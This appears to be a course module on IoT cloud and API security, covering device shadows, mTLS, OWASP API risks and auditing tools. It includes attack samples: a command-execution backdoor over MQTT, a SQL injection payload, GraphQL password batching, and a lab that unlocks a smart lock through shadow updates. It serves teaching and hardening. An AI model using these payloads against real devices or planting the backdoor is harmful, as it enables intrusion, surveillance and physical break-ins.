Opening Framing
Modern IoT devices are rarely standalone—they connect to cloud backends for device management, data storage, user authentication, firmware updates, and remote control. AWS IoT Core, Azure IoT Hub, and Google Cloud IoT provide managed platforms, but even the best infrastructure can't prevent application-layer vulnerabilities.
The Force Multiplier: A vulnerability in a single device affects one user. A vulnerability in the Cloud API affects every user. Compomising the cloud backend is the "God Mode" of IoT hacking.
This week bridges Week 08 of CSY203 (Web Security) into the IoT context. You'll learn IoT cloud architectures, test device APIs for common vulnerabilities (IDOR, Shadow Attacks), and understand the unique risks of centralized device management.
- Architect secure IoT cloud backends using AWS/Azure components.
- Differentiate between mTLS, SAS Tokens, and JWTs for device auth.
- Exploit Device Shadow vulnerabilities to manipulate offline devices.
- Inject malicious queries into IoT GraphQL endpoints.
- Audit AWS IoT configurations using open-source tools (Pacu, ScoutSuite).
1) IoT Cloud Architecture: The Building Blocks
Whether it's AWS, Azure, or GCP, the components are the same. Understanding these is prerequisite to attacking them.
[ ARCHITECTURE: THE CLOUD BACKEND ]
(DEVICE) (CLOUD ENTRY) (BACKEND LOGIC)
+-----------+ +-----------------+ +------------------+
| Smart Bulb| --(MQTT)---> | IoT Gateway | --(Rules)---> | Lambda / Funcs |
+-----------+ TLS | (Msg Broker) | +------------------+
^ +--------+--------+ |
| | v
(USER APP) v +------------------+
+-----------+ +-----------------+ | Database |
| Mobile App| --(HTTPS)--> | API Gateway | --(Query)---> | (DynamoDB/SQL) |
+-----------+ (REST) +-----------------+ +------------------+
Component A: The Device Registry
The "Phonebook" of the IoT cloud. It lists every valid device allowed to connect.
Attacker Goal: Enumerate the registry to find valid Device IDs, serial numbers,
and metadata.
Common Flaw: Allow `iot:ListThings` permission to unauthenticated users or the
mobile app.
Component B: The Message Broker (MQTT)
The "Post Office". It routes messages between devices and the cloud using Topics.
- Publish: Sending data (Device -> `sensors/temp`).
- Subscribe: Listening for data (Mobile App <- `sensors/temp`).
Attacker Goal: Subscribe to `#` (Wildcard) to eavesdrop on ALL traffic from
ALL devices.
Component C: The Device Shadow (Digital Twin)
IoT devices are unreliable. They lose Wi-Fi, run out of battery, or sleep. The Shadow is a virtual JSON document that exists in the cloud, representing the device.
{
"state": {
"reported": {
"light_status": "ON",
"firmware_version": "1.0",
"battery": 85,
"uptime": 90021
},
"desired": {
"light_status": "OFF"
},
"delta": {
"light_status": "OFF"
}
},
"metadata": {
"reported": {
"light_status": { "timestamp": 1625241 }
}
},
"version": 105
}
- Reported State: Written by the device ("I am ON").
- Desired State: Written by the user/app ("Turn OFF").
- Delta: Calculated by the cloud. The device subscribes to `/delta` to know what to do.
Desired state, they
control the device. If they can write to the Reported state, they can mask an attack
(e.g., reporting "Valve Closed" while flooding the room).
2) Authentication Mechanics: Establishing Trust
How do we know the "Smart Toaster" is actually our toaster? Authentication in IoT is harder than web because devices update certificates.
Method A: Mutual TLS (mTLS) - The Gold Standard
Used by AWS IoT Core. Both sides present a certificate.
Process:
1. Device burns a Private Key (`device.key`) into secure storage (TPM/Secure Element) at the
factory.
2. Device sends Client Certificate (`device.crt`) during TLS Handshake.
3. Cloud verifies the Cert is signed by the Manufacturer CA.
Security: Extremely high. Keys never traverse the wire.
# A complete client script to connect to AWS IoT Core
import time
import json
import paho.mqtt.client as mqtt
import ssl
# CONSTANTS
ENDPOINT = "a3xxxxxx.iot.us-east-1.amazonaws.com"
PORT = 8883
TOPIC = "device/123/data"
CLIENT_ID = "Device-123"
# FILES (Extracted from Firmware)
CA_CERT = "root-ca.pem"
DEVICE_CERT = "device.crt"
PRIVATE_KEY = "device.key" # The most valuable file
def on_connect(client, userdata, flags, rc):
print(f"Connected with result code {rc}")
# Subscribe to commands
client.subscribe("device/123/commands")
def on_message(client, userdata, msg):
print(f"Received message: {msg.topic} -> {msg.payload.decode()}")
# Setup Client
client = mqtt.Client(client_id=CLIENT_ID)
client.on_connect = on_connect
client.on_message = on_message
# Configure TLS - This is where the magic happens
client.tls_set(
ca_certs=CA_CERT,
certfile=DEVICE_CERT,
keyfile=PRIVATE_KEY,
tls_version=ssl.PROTOCOL_TLSv1_2
)
# Connect and Loop
print("[*] Connecting to IoT Core...")
client.connect(ENDPOINT, PORT, 60)
client.loop_start()
while True:
payload = {"temp": 25.5, "status": "OK"}
client.publish(TOPIC, json.dumps(payload))
print(f"Published: {payload}")
time.sleep(5)
Method B: SAS Tokens (Shared Access Signatures)
Used by Azure IoT Hub. A time-limited token signed with a symmetric key.
Risk: If the symmetric key is extracted from firmware, anyone can generate
valid tokens forever. There is no easy "revocation" without rotating the master key.
Method C: Just-in-Time (JIT) Provisioning
Device connects for the first time -> Cloud sees valid Manufacturer CA -> Cloud auto-creates a
"Thing" in the registry.
Vulnerability: If the Manufacturer CA private key leaks, attackers can
provision massive fake botnets to DDoS the platform.
3) IoT API Attack Surface
The "User" side of the equation. Usually REST or GraphQL.
- IDOR: `GET /device/123`. Change to `124`. Access neighbor's camera.
- Mass Assignment: `PUT /device/123 { "isAdmin": true, "owner": "hacker" }`.
- Key Leaks: API keys hardcoded in the mobile app strings.xml.
- Introspection: Querying `__schema` to download the entire database structure.
- Batching Attack: Sending 1000 queries in one HTTP request to bypass rate limits.
- Nested Queries: `author { posts { author { posts ... } } }` to DoS the server.
Deep Dive: GraphQL Injection
Many modern IoT dashboards use GraphQL for flexibility. It is often secured poorly.
# The "Introspection" Attack to find hidden admin fields
query {
__schema {
types {
name
fields {
name
description
}
}
}
}
# RESPONSE:
# "Type": "Device"
# "Fields": ["id", "name", "owner", "FIRMWARE_BACKDOOR_URL", "RESET_TOKEN"]
# Instead of guessing passwords one by one, guess 50 at once
query {
guess1: login(password: "1234") { token }
guess2: login(password: "admin") { token }
guess3: login(password: "password") { token }
...
}
4) The OWASP API Top 10 (IoT Context)
APIs are the most common entry point for mass IoT exploits. We map them to the OWASP framework.
API1: Broken Object Level Authorization (BOLA/IDOR)
The Flaw: The server checks Authentication (Who are you?) but not Authorization (Do you own this object?).
Attack Scenario: User A logs in and gets Token A. User A captures the request `GET /api/v1/cameras/video?id=555`. User A changes `id=555` to `id=556`. The server validates Token A, sees it is valid, and streams the video from Camera 556 (User B's bedroom).
GET /api/v1/cameras/stream?id=556 HTTP/1.1
Host: api.iot-cloud.com
Authorization: Bearer eyJhbGciOiJIUzI1Ni... (User A's Token)
Content-Type: application/json
HTTP/1.1 200 OK
Content-Type: application/json
{
"stream_url": "rtsp://54.21.10.12:554/live/stream_UserB.m3u8",
"status": "live"
}
API2: Broken Authentication
The Flaw: Weak JWT signing secrets, tokens that never expire, or predictable session IDs.
API3: Excessive Data Exposure
The Flaw: The backend returns a full object `SELECT * FROM users`, and the Mobile App filters it blindly.
Attack: A smart lock API returning the "unlock_code" in the JSON response even when just querying battery status.
API4: Lack of Resources & Rate Limiting
The Flaw: Allowing unlimited requests.
Attack: Flooding an MQTT broker with CONNECT packets to exhaust connection limits, preventing legitimate devices from reporting alarms.
API5: Broken Function Level Authorization
The Flaw: Hiding admin buttons in the UI instead of securing the endpoint.
Attack: An attacker guesses `POST /api/admin/reboot` and sends it with a normal user token. If the backend doesn't check for Admin Role, it executes.
6) Deep Dive: Cloud C2 (Command & Control)
Attackers are moving away from IRC/HTTP botnets and using valid Cloud IoT infrastructure for C2.
Why?
- Traffic looks legitimate (it goes to `amazonaws.com` or `azure-devices.net`).
- Firewalls allow outbound MQTT/443.
- High availability and persistence.
The Mechanism: The attacker compromises a device, then uses the existing MQTT connection to subscribe to a hidden topic `updates/evil`. They publish commands to this topic via the Cloud, and the device executes them.
# A malicious payload injected into the device
def on_message(client, userdata, msg):
if msg.topic == "updates/evil":
command = msg.payload.decode()
# Execute command and publish output back
output = subprocess.check_output(command, shell=True)
client.publish("updates/evil/output", output)
client.subscribe("updates/evil")
# Now the attacker controls the device using AWS/Azure as the proxy!
7) Cloud-Native Vulnerabilities
Attacking the infrastructure configuration itself.
S3 Bucket Exposure
Scenario: Vendor hosts firmware updates in an S3 bucket.
Mistake: `Authenticated Users` permission usually means "Any AWS user
globally", not "Users in my account".
Impact: Attackers download firmware, reverse engineer it, find keys, and
compromise the fleet.
IoT Rules Injection
AWS IoT Rules use SQL-like syntax: `SELECT * FROM 'topic/#'`.
If the rule passes data to a Lambda function: `INSERT INTO DB VALUES ('$payload.data')`.
Attack: Send payload `'); DROP TABLE devices; --`. This is Second-Order
SQL Injection routing through MQTT -> Rule -> Lambda -> Database.
Serverless Attacks
Lambda functions are ephemeral, but they reuse containers for performance ("Warm Start").
Attack: If you can gain RCE in a Lambda (via injection), you can store data in
`/tmp` or modify the running process memory. The Next Request from a different user
might be served by the same infected container, leaking their data.
Guided Lab: The Shadow Play
Objective: Use AWS CLI to manipulate a Device Shadow and trigger a state change.
Scenario: You have obtained a set of AWS Keys from a decompiled mobile app.
Step 1: Configure AWS CLI
$ aws configure
AWS Access Key ID: AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Default region name: us-east-1
Step 2: Enumerate Things
List all devices this key can see. This is often allowed by overly permissive IAM policies.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "iot:*",
"Resource": "*"
}
]
}
/* ^ THIS POLICY IS DEATH. It allows enumerating and controlling EVERY device. */
$ aws iot list-things
{
"things": [
{ "thingName": "SmartLock_FrontDoor", "thingArn": "..." },
{ "thingName": "GarageOpener", "thingArn": "..." }
]
}
Step 3: Read the Shadow
$ aws iot-data get-thing-shadow --thing-name SmartLock_FrontDoor output.json
$ cat output.json
{
"state": {
"reported": { "lock_status": "LOCKED" }
}
}
Step 4: The Attack (Update Desired State)
We tell the cloud "I desire this door to be UNLOCKED". The cloud will push this to the device.
$ aws iot-data update-thing-shadow \
--thing-name SmartLock_FrontDoor \
--payload '{"state": {"desired": {"lock_status": "UNLOCKED"}}}' \
response.json
Impact: If the device logic is blind, it sees the update and unlocks the door. This bypasses the mobile app entirely.
Tools of the Trade
Tools for auditing Cloud and API security.
| Tool | Target | Function | Install |
|---|---|---|---|
| Pacu | AWS Cloud | Exploitation framework for AWS (like Metasploit for Cloud). Modules for enumerating S3, Lambda, and IoT. | `pip install pacu` |
| ScoutSuite | AWS/Azure/GCP | Multi-cloud security auditing tool (Configuration review). Generates a HTML report of all bad settings. | `pip install scoutsuite` |
| Postman | REST/GraphQL | API interaction and automated testing. Great for crafting malicious JSON payloads. | (Download App) |
| Burp Suite | HTTP/HTTPS | The industry standard HTTP proxy for intercepting traffic. Required for testing IDOR and Injection. | (Download App) |
| jwt_tool | JWT Tokens | Forging, cracking, and manipulating JWTs. Can automate the "None" algo attack. | `git clone ...` |
| GraphiQL | GraphQL | IDE for exploring GraphQL schemas. Often left enabled in production builds. | (Browser Ext) |
Appendix A: The Pacu Attack Session
A real-world log of an AWS IoT compromise using the `Pacu` framework.
Pacu > run iot__enum
[+] Examples:
run iot__enum
run iot__enum --regions us-east-1,us-west-2
[+] Starting enumeration...
[+] Found 12 Things in us-east-1:
- Camera_Backyard (arn:aws:iot:us-east-1:123456789012:thing/Camera_Backyard)
- Camera_FrontDoor (arn:aws:iot:us-east-1:123456789012:thing/Camera_FrontDoor)
- SmartLock_Main (arn:aws:iot:us-east-1:123456789012:thing/SmartLock_Main)
...
Pacu > run iot__shadow_dump --thing-name SmartLock_Main
[+] Targeting SmartLock_Main...
[+] Shadow Document Retrieved:
{
"state": {
"desired": { "lock": "LOCKED" },
"reported": { "lock": "LOCKED", "battery": 12, "wifi_ssid": "HiddenNetwork" }
}
}
Pacu > run iot__shadow_update --thing-name SmartLock_Main --payload '{"state":{"desired":{"lock":"UNLOCKED"}}}'
[+] Update sent!
[+] Listening for Delta Accepted...
[+] SUCCESS. Cloud confirmed update.
Appendix B: IoT Cloud Hardening Checklist
Use this checklist to secure your AWS IoT deployment.
Authentication
- [ ] Use Mutual TLS (mTLS) for all devices.
- [ ] Disable "Just-in-Time" Provisioning unless strictly controlled.
- [ ] Rotate CA certificates every year.
- [ ] Store Private Keys in Secure Enclaves (TPM/HSM).
Authorization
- [ ] Use `iot:Connect` conditions to restrict ClientID matching.
- [ ] Deny `iot:Subscribe` to wildcard topics (`#`).
- [ ] Restrict `iot:Publish` to `topic/device/${iot:ClientId}/*`.
- [ ] Ensure Mobile App Users cannot assume Device roles.
Appendix C: Polyglot Code Library
Implementation reference for connecting to AWS IoT Core.
const awsIot = require('aws-iot-device-sdk');
// Device setup
const device = awsIot.device({
keyPath: 'private.key',
certPath: 'cert.crt',
caPath: 'root-ca.pem',
clientId: 'device-node-01',
host: 'a3xxxx.iot.us-east-1.amazonaws.com'
});
device.on('connect', function() {
console.log('Connected!');
device.subscribe('topic/1');
device.publish('topic/2', JSON.stringify({ test_data: 1}));
});
Glossary of Terms
- Device Shadow
- A JSON document in the cloud that stores the current and desired state of a device.
- IDOR
- Insecure Direct Object Reference. Accessing data by simply changing an ID number.
- mTLS
- Mutual TLS. Authentication where BOTH client and server present certificates.
- SAS Token
- Shared Access Signature. A string token signed with a symmetric key (Azure style).
- GraphQL
- A query language for APIs. Allows clients to request exactly the data they need.
- Introspection
- A GraphQL feature that allows querying the schema itself (like `SHOW TABLES` in SQL).
- JIT Provisioning
- Just-in-Time. Automatically creating a device identity when it first connects with a valid certificate.
- MQTT
- Message Queuing Telemetry Transport. The lightweight pub/sub protocol used by IoT.
- Delta
- The difference between the Desired State (Cloud) and Reported State (Device).
- IoT Rule
- A cloud-side script that triggers actions (Database Insert, Lambda, Alert) based on MQTT messages.
Weekly Reflection: Digital Feudalism
We are entering an era of Digital Feudalism. In the past, when you bought a chair, you owned the chair. You could paint it, break it, or sell it.
Today, when you buy a smart thermostat, you are merely a tenant in a digital ecosystem owned by the landlord (Google, Amazon, Apple). You own the plastic and the glass, but you do not own the logic that makes it valuable.
If the landlord decides your device is "obsolete", they can turn it off remotely. If they decide you are using it in a way they dislike, they can lock you out. As security professionals, we must ask: Are we building secure systems for the users, or are we building secure prisons for the users?
"If you can't open it, you don't own it." — Maker Manifesto